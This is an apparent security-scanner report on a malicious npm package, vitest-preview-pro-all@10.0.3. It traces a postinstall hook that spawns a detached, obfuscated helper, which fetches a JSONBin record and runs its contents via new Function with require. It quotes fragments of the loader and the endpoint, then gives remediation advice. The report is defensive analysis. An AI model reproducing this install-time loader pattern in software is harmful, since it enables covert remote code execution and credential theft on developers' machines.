registry / Remote code execution / vitest-preview-pro-all

vitest-preview-pro-all

This report shows the evidence for vitest-preview-pro-all@10.0.3, the only known version.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is a concrete install-time remote-code-execution chain, not required package functionality. Detached execution and obfuscation make the behavior covert.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

npm postinstall

Impact

Arbitrary code execution during installation, enabling credential theft, persistence, or destructive actions.

Mechanism

obfuscated remote payload fetch and Function execution

Attack narrative

On installation, package.json runs lib/utils/index.js. It launches and detaches lib/utils/smtp-connection/index.js. That obfuscated file downloads a JSONBin record and passes record.cookie to new Function("require", payload)(require), giving an externally supplied payload module-loading capability without user consent.

AI rationale

This is a concrete install-time remote-code-execution chain, not required package functionality. Detached execution and obfuscation make the behavior covert.

Evidence

package.jsonlib/utils/index.jslib/utils/smtp-connection/index.js

Network endpoints1

api.jsonbin.io/v3/b/6a719632da38895dfeb7128d

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json postinstall runs lib/utils/index.js.
lib/utils/index.js spawns detached Node process for utils/smtp-connection/index.js and unrefs it.
lib/utils/smtp-connection/index.js fetches a JSONBin record and executes record.cookie via new Function with require.
Payload loader is obfuscated and runs automatically in the postinstall-spawned process.

Evidence against

No local file-write behavior was confirmed in the inspected lifecycle files.
Normal Nodemailer network code in lib/nodemailer.js is runtime API functionality, separate from the loader.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetwork

Supply chain

HighEntropyStringsObfuscatedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 36 file(s), 446 KB of source, external domains: accounts.google.com, api.jsonbin.io, api.nodemailer.com, ethereal.email, mail.google.com, nodemailer.com, tools.ietf.org

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

2Cross-file remote execution chain: lib/utils/index.js spawns lib/utils/smtp-connection/index.js; helper contains network access plus dynamic code execution. L2: L3: const { spawn } = require('child_process'); L4: ... L7: L8: const filePath = path.join(__dirname, 'smtp-connection/index.js'); L9:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

lib/utils/index.jsView on unpkg · L2

lib/utils/smtp-connection/index.jsView file

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

lib/utils/smtp-connection/index.jsView on unpkg · L1

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/utils/smtp-connection/index.jsView on unpkg · L1

lib/smtp-pool/index.jsView file

2L3: const EventEmitter = require('events'); L4: const PoolResource = require('./pool-resource');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

lib/smtp-pool/index.jsView on unpkg · L2

lib/smtp-connection/index.jsView file

2L3: const packageInfo = require('../../package.json'); L4: const EventEmitter = require('events').EventEmitter; L5: const net = require('net'); L6: const tls = require('tls'); ... L49: L50: this.id = crypto.randomBytes(8).toString('base64').replace(/\W/g, ''); L51: this.stage = 'init'; ... L69: L70: this.name = this.options.name || this._getHostname(); L71: ... L637: } else {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/smtp-connection/index.jsView on unpkg · L2

lib/shared/index.jsView file

•matchType = normalized_sha256 matchedPackage = eslint-plugin-vitest-ts@1.0.4 matchedPath = lib/shared/index.js matchedIdentity = npm:ZXNsaW50LXBsdWdpbi12aXRlc3QtdHM:1.0.4 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/shared/index.jsView on unpkg

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

Findings

6 High4 Medium6 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processlib/utils/index.js

HighObfuscated Payload Loaderlib/utils/smtp-connection/index.js

HighCross File Remote Execution Contextlib/utils/index.js

HighObfuscated

HighKnown Malware Source Similaritylib/shared/index.js

MediumDynamic Requirelib/smtp-pool/index.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvallib/utils/smtp-connection/index.js

LowWeak Cryptolib/smtp-connection/index.js

LowFilesystem

Affected versions and remediation

This report applies to vitest-preview-pro-all@10.0.3.

The versions list below shows the verdict for each recorded version.

Avoid installing vitest-preview-pro-all@10.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-06 13:34:48.577Z (UTC).

Source advisory published: 2026-08-06 12:30:54.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

10.0.3latestshownMaliciousRemote Code ExecutionBlockPublishedAug 6, 2026, 12:36 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code